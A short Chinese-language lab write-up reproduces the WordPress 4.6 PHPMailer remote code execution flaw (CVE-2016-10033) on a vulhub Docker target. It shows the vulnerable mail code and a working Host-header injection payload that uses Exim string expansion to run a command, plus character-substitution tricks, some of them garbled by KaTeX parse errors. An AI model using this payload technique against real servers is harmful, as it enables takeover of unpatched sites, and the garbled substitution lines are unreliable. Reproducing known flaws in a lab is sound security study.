wordpress 4.6远程代码执行
wordpress 4.6 远程代码执行漏洞复现
漏洞编号:CVE-2016-10033
漏洞简述:WordPress 4.6 版本远程代码执行漏洞是一个非常严重的漏洞,未经授权的攻击者利用该漏洞就能实现远程代码执行,针对目标服务器实现即时访问,最终导致目标应用服务器的完全陷落。远程攻击者可以利用该漏洞执行代码。
影响版本:WordPress < 4.7.1 PHPMailer < 5.2.18
漏洞利用条件:
- 不能包含特殊字符
- 命令需为小写
- 命令需使用绝对路径
- 需要知道现有用户名
注意点:
命令只在服务器端执行命令、不会显示在客户端
漏洞原理:phpmailer 命令执行漏洞
未对host 参数进行过滤
phpmailer 组件发送邮件 是调用系统的sendmail进行发送
环境:ubuntu、docker、vulhub
目标ip:192.168.75.15:8080
开启靶机:
cd /root/vulhub-master/wordpress/pwnscriptum
docker-compose up -d
漏洞代码:
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'aaa@qq.com' . $sitename;
}
$from_email = apply_filters( 'wp_mail_from', $from_email );
$from_name = apply_filters( 'wp_mail_from_name', $from_name );
$phpmailer->setFrom( $from_email, $from_name, false );
访问target:
抓包:
payload:
target(any aaa@qq.com -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
该payload 将会在/tmp/ 下 创建 success文件
https://vulhub.org/#/environments/wordpress/pwnscriptum/
bash:
空格 —> KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{10}{1}{tod_log}}
/ —> KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{0}{1}{spool_directory}}